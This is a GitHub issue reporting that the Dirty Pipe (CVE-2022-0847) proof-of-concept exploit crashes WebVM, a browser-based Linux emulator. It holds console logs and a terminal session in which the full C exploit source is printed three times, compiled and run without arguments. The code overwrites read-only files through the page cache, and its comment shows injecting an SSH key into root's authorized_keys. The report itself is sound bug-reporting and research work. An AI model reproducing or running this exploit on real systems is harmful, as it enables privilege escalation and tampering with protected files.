Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

https://dirtypipe.cm4all.com/ exploit crashes webvm #38

Open
hello-smile6 opened this issue Aug 5, 2022 · 0 comments
Open

https://dirtypipe.cm4all.com/ exploit crashes webvm #38

hello-smile6 opened this issue Aug 5, 2022 · 0 comments

Comments

@hello-smile6
Copy link

Console log:

Welcome. We appreciate curiosity, but be warned that keeping the DevTools open causes significant performance degradation and crashes.
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 103ms
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 108ms
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
9The resource <URL> was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate `as` value and it is preloaded intentionally.
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
3cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 81ms
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cx.js:1 [Violation] 'load' handler took 202ms
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 Fault addr 0, ip 5555c092, tid 31
cxcore.js:1 Fault from Inode 23521
xterm.js:1 [Violation] 'blur' handler took 333ms

Terminal output:

                        __      __   _  __   ____  __       
                        \ \    / /__| |_\ \ / /  \/  | 
                         \ \/\/ / -_) '_ \ V /| |\/| | 
                          \_/\_/\___|_.__/\_/ |_|  |_|  


 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
 |                                                                            |
 | WebVM is a server-less virtual Linux environment running fully client-side |
 | in HTML5/WebAssembly.                                                      |
 |                                                                            |
 | In this demo, it runs an unmodified Debian distribution including many     |
 | native development toolchains.                                             |
 |                                                                            |
 | WebVM is powered by the CheerpX virtualization engine, and enables safe,   |
 | sandboxed client-side execution of x86 binaries on any browser.            |
 |                                                                            |
 | CheerpX includes an x86-to-WebAssembly JIT compiler, a virtual block-based |
 | file system, and a Linux syscall emulator.                                 |
 |                                                                            |
 | For more information: https://medium.com/p/40a60170b361                    |
 |                                                                            |
 | GitHub  |  Issues  |  Gitter  |  Twitter  |  Latest News  |  About CheerpX |
 |                                                                            |
 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+

   Welcome to WebVM (build 20220726). If unsure, try these examples:

     python3 examples/python3/fibonacci.py 
     gcc -o helloworld examples/c/helloworld.c && ./helloworld
     objdump -d ./helloworld | less -M
     vim examples/c/helloworld.c

user@:~$ ls
examples  test.c
user@:~$ cat test.c 
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
        if (pipe(p)) abort();

        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                write(p[1], buffer, n);
                r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                read(p[0], buffer, n);
                r -= n;
        }

        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
}

int main(int argc, char **argv)
{
        if (argc != 4) {
                fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
                return EXIT_FAILURE;
        }

        /* dumb command-line argument parser */
        const char *const path = argv[1];
        loff_t offset = strtoul(argv[2], NULL, 0);
        const char *const data = argv[3];
        const size_t data_size = strlen(data);

        if (offset % PAGE_SIZE == 0) {
                fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
                return EXIT_FAILURE;
        }

        const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
        const loff_t end_offset = offset + (loff_t)data_size;
        if (end_offset > next_page) {
                fprintf(stderr, "Sorry, cannot write across a page boundary\n");
                return EXIT_FAILURE;
        }

        /* open the input file and validate the specified offset */
        const int fd = open(path, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
                perror("open failed");
                return EXIT_FAILURE;
        }

        struct stat st;
        if (fstat(fd, &st)) {
                perror("stat failed");
                return EXIT_FAILURE;
        }

        if (offset > st.st_size) {
                fprintf(stderr, "Offset is not inside the file\n");
                return EXIT_FAILURE;
        }

        if (end_offset > st.st_size) {
                fprintf(stderr, "Sorry, cannot enlarge the file\n");
                return EXIT_FAILURE;
        }

        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);

        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        --offset;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
                perror("splice failed");
                return EXIT_FAILURE;
        }
        if (nbytes == 0) {
                fprintf(stderr, "short splice\n");
                return EXIT_FAILURE;
        }

        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], data, data_size);
        if (nbytes < 0) {
                perror("write failed");
                return EXIT_FAILURE;
        }
        if ((size_t)nbytes < data_size) {
                fprintf(stderr, "short write\n");
                return EXIT_FAILURE;
        }

        printf("It worked!\n");
        return EXIT_SUCCESS;
}
d
user@:~$ cat test.c | wc --help
Usage: wc [OPTION]... [FILE]...
  or:  wc [OPTION]... --files0-from=F
Print newline, word, and byte counts for each FILE, and a total line if
more than one FILE is specified.  A word is a non-zero-length sequence of
characters delimited by white space.

With no FILE, or when FILE is -, read standard input.

The options below may be used to select which counts are printed, always in
the following order: newline, word, character, byte, maximum line length.
  -c, --bytes            print the byte counts
  -m, --chars            print the character counts
  -l, --lines            print the newline counts
      --files0-from=F    read input from the files specified by
                           NUL-terminated names in file F;
                           If F is - then read names from standard input
  -L, --max-line-length  print the maximum display width
  -w, --words            print the word counts
      --help     display this help and exit
      --version  output version information and exit

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report wc translation bugs to <https://translationproject.org/team/>
Full documentation at: <https://www.gnu.org/software/coreutils/wc>
or available locally via: info '(coreutils) wc invocation'
user@:~$ cat test.c | wc --lines
157
user@:~$ cat test.c | head -n 156
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
        if (pipe(p)) abort();

        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                write(p[1], buffer, n);
                r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                read(p[0], buffer, n);
                r -= n;
        }

        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
}

int main(int argc, char **argv)
{
        if (argc != 4) {
                fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
                return EXIT_FAILURE;
        }

        /* dumb command-line argument parser */
        const char *const path = argv[1];
        loff_t offset = strtoul(argv[2], NULL, 0);
        const char *const data = argv[3];
        const size_t data_size = strlen(data);

        if (offset % PAGE_SIZE == 0) {
                fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
                return EXIT_FAILURE;
        }

        const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
        const loff_t end_offset = offset + (loff_t)data_size;
        if (end_offset > next_page) {
                fprintf(stderr, "Sorry, cannot write across a page boundary\n");
                return EXIT_FAILURE;
        }

        /* open the input file and validate the specified offset */
        const int fd = open(path, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
                perror("open failed");
                return EXIT_FAILURE;
        }

        struct stat st;
        if (fstat(fd, &st)) {
                perror("stat failed");
                return EXIT_FAILURE;
        }

        if (offset > st.st_size) {
                fprintf(stderr, "Offset is not inside the file\n");
                return EXIT_FAILURE;
        }

        if (end_offset > st.st_size) {
                fprintf(stderr, "Sorry, cannot enlarge the file\n");
                return EXIT_FAILURE;
        }

        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);

        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        --offset;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
                perror("splice failed");
                return EXIT_FAILURE;
        }
        if (nbytes == 0) {
                fprintf(stderr, "short splice\n");
                return EXIT_FAILURE;
        }

        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], data, data_size);
        if (nbytes < 0) {
                perror("write failed");
                return EXIT_FAILURE;
        }
        if ((size_t)nbytes < data_size) {
                fprintf(stderr, "short write\n");
                return EXIT_FAILURE;
        }

        printf("It worked!\n");
        return EXIT_SUCCESS;
}
user@:~$ cat test.c | head -n 156 > test2.c
user@:~$ cat test2.c 
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
        if (pipe(p)) abort();

        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                write(p[1], buffer, n);
                r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                read(p[0], buffer, n);
                r -= n;
        }

        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
}

int main(int argc, char **argv)
{
        if (argc != 4) {
                fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
                return EXIT_FAILURE;
        }

        /* dumb command-line argument parser */
        const char *const path = argv[1];
        loff_t offset = strtoul(argv[2], NULL, 0);
        const char *const data = argv[3];
        const size_t data_size = strlen(data);

        if (offset % PAGE_SIZE == 0) {
                fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
                return EXIT_FAILURE;
        }

        const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
        const loff_t end_offset = offset + (loff_t)data_size;
        if (end_offset > next_page) {
                fprintf(stderr, "Sorry, cannot write across a page boundary\n");
                return EXIT_FAILURE;
        }

        /* open the input file and validate the specified offset */
        const int fd = open(path, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
                perror("open failed");
                return EXIT_FAILURE;
        }

        struct stat st;
        if (fstat(fd, &st)) {
                perror("stat failed");
                return EXIT_FAILURE;
        }

        if (offset > st.st_size) {
                fprintf(stderr, "Offset is not inside the file\n");
                return EXIT_FAILURE;
        }

        if (end_offset > st.st_size) {
                fprintf(stderr, "Sorry, cannot enlarge the file\n");
                return EXIT_FAILURE;
        }

        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);

        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        --offset;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
                perror("splice failed");
                return EXIT_FAILURE;
        }
        if (nbytes == 0) {
                fprintf(stderr, "short splice\n");
                return EXIT_FAILURE;
        }

        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], data, data_size);
        if (nbytes < 0) {
                perror("write failed");
                return EXIT_FAILURE;
        }
        if ((size_t)nbytes < data_size) {
                fprintf(stderr, "short write\n");
                return EXIT_FAILURE;
        }

        printf("It worked!\n");
        return EXIT_SUCCESS;
}
user@:~$ gcc -Wall -Wextra test2.c 
s
user@:~$  
user@:~$ ls
a.out  examples  test.c  test2.c
user@:~$ file a.out 
a.out: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=11ad260aed4e48530daf8f81b93e156d5688f3dc, not stripped
user@:~$ ls
a.out  examples  test.c  test2.c
user@:~$ ./a.out 
Usage: ./a.out TARGETFILE OFFSET DATA
user@:~$ ls /etc/
adduser.conf            deluser.conf  ld.so.cache     modules-load.d  python3.7     shadow-
alternatives            dhcp          ld.so.conf      motd            rc0.d         shells
apache2                 dpkg          ld.so.conf.d    nanorc          rc1.d         skel
apt                     environment   libaudit.conf   network         rc2.d         ssl
bash.bashrc             fstab         lighttpd        networks        rc3.d         subgid
bindresvport.blacklist  gai.conf      localtime       nsswitch.conf   rc4.d         subgid-
binfmt.d                group         logcheck        opt             rc5.d         subuid
ca-certificates         group-        login.defs      os-release      rc6.d         subuid-
ca-certificates.conf    gshadow       logrotate.conf  pam.conf        rcS.d         sysctl.conf
calendar                gshadow-      logrotate.d     pam.d           resolv.conf   sysctl.d
cron.d                  host.conf     machine-id      passwd          rmt           systemd
cron.daily              hostname      magic           passwd-         rpc           terminfo
cron.hourly             hosts         magic.mime      perl            rsyslog.conf  timezone
cron.monthly            init.d        mailcap         profile         rsyslog.d     tmpfiles.d
cron.weekly             inputrc       mailcap.order   profile.d       securetty     udev
crontab                 iproute2      mime.types      protocols       security      update-motd.d
debconf.conf            issue         mke2fs.conf     python          selinux       vim
debian_version          issue.net     modprobe.d      python2.7       services      xattr.conf
default                 kernel        modules         python3         shadow        xdg
user@:~$ ls /etc/
adduser.conf            deluser.conf  ld.so.cache     modules-load.d  python3.7     shadow-
alternatives            dhcp          ld.so.conf      motd            rc0.d         shells
apache2                 dpkg          ld.so.conf.d    nanorc          rc1.d         skel
apt                     environment   libaudit.conf   network         rc2.d         ssl
bash.bashrc             fstab         lighttpd        networks        rc3.d         subgid
bindresvport.blacklist  gai.conf      localtime       nsswitch.conf   rc4.d         subgid-
binfmt.d                group         logcheck        opt             rc5.d         subuid
ca-certificates         group-        login.defs      os-release      rc6.d         subuid-
ca-certificates.conf    gshadow       logrotate.conf  pam.conf        rcS.d         sysctl.conf
calendar                gshadow-      logrotate.d     pam.d           resolv.conf   sysctl.d
cron.d                  host.conf     machine-id      passwd          rmt           systemd
cron.daily              hostname      magic           passwd-         rpc           terminfo
cron.hourly             hosts         magic.mime      perl            rsyslog.conf  timezone
cron.monthly            init.d        mailcap         profile         rsyslog.d     tmpfiles.d
cron.weekly             inputrc       mailcap.order   profile.d       securetty     udev
crontab                 iproute2      mime.types      protocols       security      update-motd.d
debconf.conf            issue         mke2fs.conf     python          selinux       vim
debian_version          issue.net     modprobe.d      python2.7       services      xattr.conf
default                 kernel        modules         python3         shadow        xdg
user@:~$ ls -a /etc/
Display all 115 possibilities? (y or n)
.pwd.lock               gshadow-                modules-load.d/         rmt
adduser.conf            host.conf               motd                    rpc
alternatives/           hostname                nanorc                  rsyslog.conf
apache2/                hosts                   network/                rsyslog.d/
apt/                    init.d/                 networks                securetty
bash.bashrc             inputrc                 nsswitch.conf           security/
bindresvport.blacklist  iproute2/               opt/                    selinux/
binfmt.d/               issue                   os-release              services
ca-certificates/        issue.net               pam.conf                shadow
ca-certificates.conf    kernel/                 pam.d/                  shadow-
calendar/               ld.so.cache             passwd                  shells
cron.d/                 ld.so.conf              passwd-                 skel/
cron.daily/             ld.so.conf.d/           perl/                   ssl/
cron.hourly/            libaudit.conf           profile                 subgid
cron.monthly/           lighttpd/               profile.d/              subgid-
cron.weekly/            localtime               protocols               subuid
crontab                 logcheck/               python/                 subuid-
debconf.conf            login.defs              python2.7/              sysctl.conf
debian_version          logrotate.conf          python3/                sysctl.d/
default/                logrotate.d/            python3.7/              systemd/
deluser.conf            machine-id              rc0.d/                  terminfo/
dhcp/                   magic                   rc1.d/                  timezone
dpkg/                   magic.mime              rc2.d/                  tmpfiles.d/
environment             mailcap                 rc3.d/                  udev/
fstab                   mailcap.order           rc4.d/                  update-motd.d/
gai.conf                mime.types              rc5.d/                  vim/
group                   mke2fs.conf             rc6.d/                  xattr.conf
group-                  modprobe.d/             rcS.d/                  xdg/
gshadow                 modules                 resolv.conf             
user@:~$ ls -lah /etc/
total 0
-rw------- 0 user user    0 Sep 17  2021 .pwd.lock
-rw-r--r-- 0 user user 3.0K Sep 17  2021 adduser.conf
drwxr-xr-x 0 user user 4.0K Jan 31  2022 alternatives
drwxr-xr-x 0 user user 4.0K Sep 17  2021 apache2
drwxr-xr-x 0 user user 4.0K Sep 17  2021 apt
-rw-r--r-- 0 user user 2.0K Apr 18  2019 bash.bashrc
-rw-r--r-- 0 user user  367 Mar  2  2018 bindresvport.blacklist
drwxr-xr-x 0 user user 4.0K Mar 18  2021 binfmt.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 ca-certificates
-rw-r--r-- 0 user user 5.9K Sep 17  2021 ca-certificates.conf
drwxr-xr-x 0 user user 4.0K Sep 17  2021 calendar
drwxr-xr-x 0 user user 4.0K Sep 17  2021 cron.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 cron.daily
drwxr-xr-x 0 user user 4.0K Sep 17  2021 cron.hourly
drwxr-xr-x 0 user user 4.0K Sep 17  2021 cron.monthly
drwxr-xr-x 0 user user 4.0K Sep 17  2021 cron.weekly
-rw-r--r-- 0 user user 1.1K Oct 11  2019 crontab
-rw-r--r-- 0 user user 2.9K Feb 26  2019 debconf.conf
-rw-r--r-- 0 user user    6 Oct  3  2021 debian_version
drwxr-xr-x 0 user user 4.0K Sep 17  2021 default
-rw-r--r-- 0 user user  604 Jun 26  2016 deluser.conf
drwxr-xr-x 0 user user 4.0K Sep 17  2021 dhcp
drwxr-xr-x 0 user user 4.0K Sep 17  2021 dpkg
-rw-r--r-- 0 user user    0 Sep 17  2021 environment
-rw-r--r-- 0 user user   37 Sep 17  2021 fstab
-rw-r--r-- 0 user user 2.6K Aug  1  2018 gai.conf
-rw-r--r-- 0 user user  619 Sep 17  2021 group
-rw-r--r-- 0 user user  606 Sep 17  2021 group-
-rw-r----- 0 user user  516 Sep 17  2021 gshadow
-rw-r----- 0 user user  507 Sep 17  2021 gshadow-
-rw-r--r-- 0 user user    9 Aug  7  2006 host.conf
-rw-r--r-- 0 user user    7 Sep 17  2021 hostname
-rw-r--r-- 0 user user  109 Sep 17  2021 hosts
drwxr-xr-x 0 user user 4.0K Jan 28  2022 init.d
-rw-r--r-- 0 user user 1.8K May  5  2018 inputrc
drwxr-xr-x 0 user user 4.0K Sep 17  2021 iproute2
-rw-r--r-- 0 user user   27 Jun 13  2021 issue
-rw-r--r-- 0 user user   20 Jun 13  2021 issue.net
drwxr-xr-x 0 user user 4.0K Sep 17  2021 kernel
-rw-r--r-- 0 user user  19K Jan 31  2022 ld.so.cache
-rw-r--r-- 0 user user   34 Mar  2  2018 ld.so.conf
drwxr-xr-x 0 user user 4.0K Jan 28  2022 ld.so.conf.d
-rw-r--r-- 0 user user  191 Apr 25  2019 libaudit.conf
drwxr-xr-x 0 user user 4.0K Sep 17  2021 lighttpd
lrwxrwxrwx 0 user user   27 Jan 28  2022 localtime -> /usr/share/zoneinfo/Etc/UTC
drwxr-xr-x 0 user user 4.0K Sep 17  2021 logcheck
-rw-r--r-- 0 user user  11K Jul 27  2018 login.defs
-rw-r--r-- 0 user user  435 Aug 22  2018 logrotate.conf
drwxr-xr-x 0 user user 4.0K Sep 17  2021 logrotate.d
-r--r--r-- 0 user user   33 Sep 17  2021 machine-id
-rw-r--r-- 0 user user  111 Jan 25  2021 magic
-rw-r--r-- 0 user user  111 Jan 25  2021 magic.mime
-rw-r--r-- 0 user user 2.6K Jan 28  2022 mailcap
-rw-r--r-- 0 user user  449 Feb  9  2019 mailcap.order
-rw-r--r-- 0 user user  24K Feb  9  2019 mime.types
-rw-r--r-- 0 user user  812 Jan 10  2020 mke2fs.conf
drwxr-xr-x 0 user user 4.0K Feb  9  2019 modprobe.d
-rw-r--r-- 0 user user  195 Sep 17  2021 modules
drwxr-xr-x 0 user user 4.0K Jan 28  2022 modules-load.d
-rw-r--r-- 0 user user  286 Jun 13  2021 motd
-rw-r--r-- 0 user user 9.1K Jun 12  2019 nanorc
drwxr-xr-x 0 user user 4.0K Sep 17  2021 network
-rw-r--r-- 0 user user   60 Sep 17  2021 networks
-rw-r--r-- 0 user user  494 Feb 10  2019 nsswitch.conf
drwxr-xr-x 0 user user 4.0K Sep 17  2021 opt
lrwxrwxrwx 0 user user   21 Oct  3  2021 os-release -> ../usr/lib/os-release
-rw-r--r-- 0 user user  552 Feb 14  2019 pam.conf
drwxr-xr-x 0 user user 4.0K Jan 28  2022 pam.d
-rw-r--r-- 0 user user 1.2K Sep 17  2021 passwd
-rw-r--r-- 0 user user 1.2K Sep 17  2021 passwd-
drwxr-xr-x 0 user user 4.0K Jan 31  2022 perl
-rw-r--r-- 0 user user  767 Mar  4  2016 profile
drwxr-xr-x 0 user user 4.0K Jun 13  2021 profile.d
